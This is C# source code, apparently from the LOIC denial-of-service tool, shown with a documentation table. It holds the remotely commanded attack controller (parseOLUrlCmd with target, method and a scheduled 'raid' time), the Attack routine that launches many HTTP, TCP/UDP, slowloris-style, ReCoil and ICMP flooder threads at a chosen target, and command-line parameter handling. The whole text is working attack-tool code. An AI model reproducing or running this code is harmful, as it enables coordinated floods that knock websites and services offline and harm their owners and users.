| public static ParseInt ( string str, int min, int max, int &value ) : bool | ||
| str | string | |
| min | int | |
| max | int | |
| value | int | |
| return | bool | |
/// <summary>
/// Decodes the commands and if necessary (re)starts the Attack.
/// Works with the Captures from RegEx.
/// </summary>
/// <param name="cmds">the CaptureCollection containing a collection of commands</param>
/// <param name="vals">the CaptureCollection containing a collection of values corresponding to the commands.</param>
/// <returns>True if the commands were successfully loaded. False in case of any error.</returns>
private bool parseOLUrlCmd(CaptureCollection cmds, CaptureCollection vals)
{
bool ret = false;
if ((cmds.Count == vals.Count) && (cmds.Count > 0))
{
StringCollection defaults = new StringCollection();
defaults.Add("targetip"); defaults.Add("targethost"); defaults.Add("timeout");
defaults.Add("subsite"); defaults.Add("message"); defaults.Add("port");
defaults.Add("method"); defaults.Add("threads"); defaults.Add("wait");
defaults.Add("random"); defaults.Add("speed"); defaults.Add("sockspthread");
defaults.Add("useget"); defaults.Add("usegzip");
int num = 0;
bool isnum = false;
bool restart = false;
bool ctdwndn = false;
string tval = "";
string tcmd = "";
for (int i = 0; i < cmds.Count; i++)
{
tval = vals[i].Value.Trim();
tcmd = cmds[i].Value.Trim();
defaults.Remove(tcmd);
switch (tcmd.ToLowerInvariant())
{
case "targetip":
if (txtTargetIP.Text != tval)
{
txtTargetIP.Text = tval;
LockOnIP(true);
restart = true;
}
ret = true;
break;
case "targethost":
if (txtTargetURL.Text != tval)
{
txtTargetURL.Text = tval;
LockOnURL(true);
restart = true;
}
ret = true;
break;
case "timeout":
isnum = int.TryParse(tval, out num);
if (isnum)
{
if (txtTimeout.Text != num.ToString())
{
txtTimeout.Text = num.ToString();
restart = true;
}
}
break;
case "subsite":
tval = Uri.UnescapeDataString(tval);
if (txtSubsite.Text != tval)
{
txtSubsite.Text = tval;
restart = true;
}
break;
case "message":
if (txtData.Text != tval)
{
txtData.Text = tval;
restart = true;
}
break;
case "port":
if (txtPort.Text != tval)
{
txtPort.Text = tval;
restart = true;
}
break;
case "method":
int index = cbMethod.FindString(tval);
if (index != -1)
{
if (cbMethod.SelectedIndex != index)
{
cbMethod.SelectedIndex = index;
restart = true;
}
}
break;
case "threads":
if (Functions.ParseInt(tval, 1, 99, out num))
{
if (txtThreads.Text != num.ToString())
{
txtThreads.Text = num.ToString();
if (cbMethod.SelectedIndex >= 3)
{
restart = true;
}
}
}
break;
case "wait":
if (tval.ToLowerInvariant() == "true")
{
if (!chkWaitReply.Checked)
{
restart = true;
}
chkWaitReply.Checked = true;
}
else if (tval.ToLowerInvariant() == "false")
{
if (chkWaitReply.Checked)
{
restart = true;
}
chkWaitReply.Checked = false;
}
break;
case "random":
if (tval.ToLowerInvariant() == "true")
{
if (!chkRandom.Checked || !chkMsgRandom.Checked)
{
restart = true;
}
chkRandom.Checked = true; //HTTP
chkMsgRandom.Checked = true; //TCP_UDP
}
else if (tval.ToLowerInvariant() == "false")
{
if (chkRandom.Checked || chkMsgRandom.Checked)
{
restart = true;
}
chkRandom.Checked = false; //HTTP
chkMsgRandom.Checked = false; //TCP_UDP
}
break;
case "speed":
if (Functions.ParseInt(tval, tbSpeed.Minimum, tbSpeed.Maximum, out num))
{
if (tbSpeed.Value != num)
{
tbSpeed.Value = num;
restart = true;
}
}
break;
case "time": // might be not a bad idea to include a NTP-lookup before this?
System.Globalization.CultureInfo ci = System.Globalization.CultureInfo.CurrentCulture;
DateTime dtGo = DateTime.Parse(tval, ci.DateTimeFormat, System.Globalization.DateTimeStyles.AssumeUniversal);
DateTime dtNow = DateTime.UtcNow;
long tdiff = dtGo.Ticks - dtNow.Ticks;
tdiff /= TimeSpan.TicksPerMillisecond;
ret = true;
tZergRush.Stop();
if (tdiff > 0)
{
tZergRush.Interval = (int)tdiff;
tZergRush.Start();
this.Text = String.Format("{0} | U dun goofed | v. {1} | Next Raid: {2}", Application.ProductName, Application.ProductVersion, dtGo.ToString("MM-dd HH:mm"));
restart = true;
}
else
{
ctdwndn = true;
this.Text = String.Format("{0} | U dun goofed | v. {1}", Application.ProductName, Application.ProductVersion);
}
ret = true;
break;
case "useget":
if (tval.ToLowerInvariant() == "true")
{
chkUseGet.Checked = true;
}
else if (tval.ToLowerInvariant() == "false")
{
chkUseGet.Checked = false;
}
break;
case "usegzip":
if (tval.ToLowerInvariant() == "true")
{
chkAllowGzip.Checked = true;
}
else if (tval.ToLowerInvariant() == "false")
{
chkAllowGzip.Checked = false;
}
break;
case "sockspthread":
if (Functions.ParseInt(tval, 1, 99, out num))
{
txtSLSpT.Text = num.ToString();
}
break;
}
}
// let's reset the other values -.-
for (int i = 0; i < defaults.Count; i++)
{
switch (defaults[i])
{
case "targetip":
txtTargetIP.Text = "";
break;
case "targethost":
txtTargetURL.Text = "";
break;
case "timeout":
txtTimeout.Text = "30";
break;
case "subsite":
txtSubsite.Text = "/";
break;
case "message":
txtData.Text = "U dun goofed";
break;
case "port":
txtPort.Text = "80";
break;
case "method":
int index = cbMethod.FindString("TCP");
if (index != -1)
{
cbMethod.SelectedIndex = index;
}
break;
case "threads":
txtThreads.Text = "10";
break;
case "wait":
chkWaitReply.Checked = true;
break;
case "random":
chkRandom.Checked = false;
chkMsgRandom.Checked = false;
break;
case "speed":
tbSpeed.Value = 0;
break;
case "sockspthread":
txtSLSpT.Text = "25";
break;
case "useget":
chkUseGet.Checked = false;
break;
case "usegzip":
chkAllowGzip.Checked = false;
break;
}
}
if (restart)
{
Attack(false, false, true);
if (!tZergRush.Enabled)
{
Attack(false, true, true);
}
}
else if (ctdwndn && (cmdAttack.Text == AttackText))
{
Attack(false, true, true);
}
if (!tZergRush.Enabled)
{
this.Text = String.Format("{0} | U dun goofed | v. {1}", Application.ProductName, Application.ProductVersion);
}
}
return(ret);
}
/// <summary>
/// Attack the specified target
/// </summary>
/// <param name="toggle">Whether to toggle.</param>
/// <param name="on">Whether the attack should start.</param>
/// <param name="silent">Whether to silence error output.</param>
private void Attack(bool toggle, bool on, bool silent = false)
{
if ((cmdAttack.Text == AttackText && toggle) || (!toggle && on))
{
try
{
// Protect against race condition
if (tShowStats.Enabled)
{
tShowStats.Stop();
}
if (!Functions.ParseInt(txtPort.Text, 0, 65535, out iPort))
{
HandleError("Invalid port.", silent);
return;
}
if (!Functions.ParseInt(txtThreads.Text, 1, (bKonami ? 1337 : 99), out iThreads))
{
HandleError("Too many threads! Lower than 100, please.", silent);
return;
}
sTargetIP = txtTarget.Text;
if (String.IsNullOrEmpty(sTargetIP) || String.IsNullOrEmpty(sTargetHost) || String.Equals(sTargetIP, "N O N E !"))
{
throw new Exception("Select a target.");
}
sMethod = cbMethod.Text;
protocol = Protocol.None;
try {
protocol = (Protocol)Enum.Parse(typeof(Protocol), sMethod, true);
// Analysis disable once EmptyGeneralCatchClause
} catch { }
if (protocol == Protocol.None)
{
HandleError("Select a proper attack method.", silent);
return;
}
sData = txtData.Text.Replace(@"\r", "\r").Replace(@"\n", "\n");
if (String.IsNullOrEmpty(sData) && (protocol == Protocol.TCP || protocol == Protocol.UDP))
{
HandleError("No contents specified.", silent);
return;
}
sSubsite = txtSubsite.Text;
if (!sSubsite.StartsWith("/") && (int)protocol >= (int)Protocol.HTTP && (int)protocol != (int)Protocol.ICMP)
{
HandleError("You have to enter a subsite (for example \"/\")", silent);
return;
}
if (!int.TryParse(txtTimeout.Text, out iTimeout) || iTimeout < 1)
{
HandleError("Invalid number in timeout box.", silent);
return;
}
if (iTimeout > 999)
{
iTimeout = 30;
txtTimeout.Text = "30";
}
bResp = chkWaitReply.Checked;
if (protocol == Protocol.slowLOIC || protocol == Protocol.ReCoil || protocol == Protocol.ICMP)
{
if (!int.TryParse(txtSLSpT.Text, out iSockspThread) || iSockspThread < 1)
{
throw new Exception("Please enter a number.");
}
}
}
catch (Exception ex)
{
HandleError(ex.Message, silent);
return;
}
cmdAttack.Text = StpFldText;
//let's lock down the controls, that could actually change the creation of new sockets
chkAllowGzip.Enabled = false;
chkUseGet.Enabled = false;
chkMsgRandom.Enabled = false;
chkRandom.Enabled = false;
cbMethod.Enabled = false;
chkWaitReply.Enabled = false;
txtSLSpT.Enabled = false;
if (arr.Count > 0)
{
foreach (IFlooder i in arr)
{
i.Stop();
i.IsFlooding = false;
}
arr.Clear();
}
for (int i = 0; i < iThreads; i++)
{
IFlooder ts = null;
switch (protocol)
{
case Protocol.ReCoil:
ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
break;
case Protocol.slowLOIC:
ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
break;
case Protocol.HTTP:
ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
break;
case Protocol.TCP:
case Protocol.UDP:
ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
break;
case Protocol.ICMP:
ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
break;
}
if (ts != null)
{
ts.Start();
arr.Add(ts);
}
}
tShowStats.Start();
}
else if (toggle || !on)
{
cmdAttack.Text = AttackText;
chkAllowGzip.Enabled = true;
chkUseGet.Enabled = true;
chkMsgRandom.Enabled = true;
chkRandom.Enabled = true;
cbMethod.Enabled = true;
chkWaitReply.Enabled = true;
txtSLSpT.Enabled = true;
if (arr != null && arr.Count > 0)
{
foreach (IFlooder i in arr)
{
i.Stop();
i.IsFlooding = false;
}
}
}
}
/// <summary>
/// Checks the parameters.
/// </summary>
/// <param name="pars">Pars.</param>
void CheckParams(List <string> pars)
{
Attack(false, false, true);
foreach (string param in pars)
{
string[] sp = param.Split(new char[] { '=' }, 2, StringSplitOptions.RemoveEmptyEntries);
if (sp.Length == 2)
{
string cmd = sp[0];
string value = sp[1];
int num;
switch (cmd.ToLowerInvariant())
{
case "targetip":
txtTargetIP.Text = value;
LockOnIP(true);
break;
case "targethost":
txtTargetURL.Text = value;
LockOnURL(true);
break;
case "timeout":
if (int.TryParse(value, out num) && num >= 1)
{
txtTimeout.Text = num.ToString();
}
break;
case "subsite":
txtSubsite.Text = Uri.UnescapeDataString(value);
break;
case "message":
txtData.Text = Uri.UnescapeDataString(value);
break;
case "port":
if (Functions.ParseInt(value, 0, 65535, out num))
{
txtPort.Text = num.ToString();
}
break;
case "method":
int index = cbMethod.FindString(value);
if (index != -1)
{
cbMethod.SelectedIndex = index;
}
break;
case "threads":
if (Functions.ParseInt(value, 1, 99, out num))
{
txtThreads.Text = num.ToString();
}
break;
case "wait":
if (value.ToLowerInvariant() == "true")
{
chkWaitReply.Checked = true;
}
else if (value.ToLowerInvariant() == "false")
{
chkWaitReply.Checked = false;
}
break;
case "random":
if (value.ToLowerInvariant() == "true")
{
chkRandom.Checked = true; //HTTP
chkMsgRandom.Checked = true; //TCP_UDP
}
else if (value.ToLowerInvariant() == "false")
{
chkRandom.Checked = false; //HTTP
chkMsgRandom.Checked = false; //TCP_UDP
}
break;
case "speed":
if (Functions.ParseInt(value, tbSpeed.Minimum, tbSpeed.Maximum, out num))
{
tbSpeed.Value = num;
}
break;
case "useget":
if (value.ToLowerInvariant() == "true")
{
chkUseGet.Checked = true;
}
else if (value.ToLowerInvariant() == "false")
{
chkUseGet.Checked = false;
}
break;
case "gzip":
case "usegzip":
if (value.ToLowerInvariant() == "true")
{
chkAllowGzip.Checked = true;
}
else if (value.ToLowerInvariant() == "false")
{
chkAllowGzip.Checked = false;
}
break;
case "sockspthread":
if (Functions.ParseInt(value, 1, 99, out num))
{
txtSLSpT.Text = num.ToString();
}
break;
}
}
else
{
if (sp[0].ToLowerInvariant() == "start")
{
Attack(false, true, true);
return;
}
else if (sp[0].ToLowerInvariant() == "default")
{
txtTargetIP.Text = "";
txtTargetURL.Text = "";
txtTimeout.Text = "30";
txtSubsite.Text = "/";
txtData.Text = "Invalid";
txtPort.Text = "80";
int index = cbMethod.FindString("TCP");
if (index != -1)
{
cbMethod.SelectedIndex = index;
}
txtThreads.Text = "10";
chkWaitReply.Checked = true;
chkRandom.Checked = false;
chkMsgRandom.Checked = false;
tbSpeed.Value = 0;
txtSLSpT.Text = "25";
chkAllowGzip.Checked = false;
chkUseGet.Checked = false;
}
}
}
}
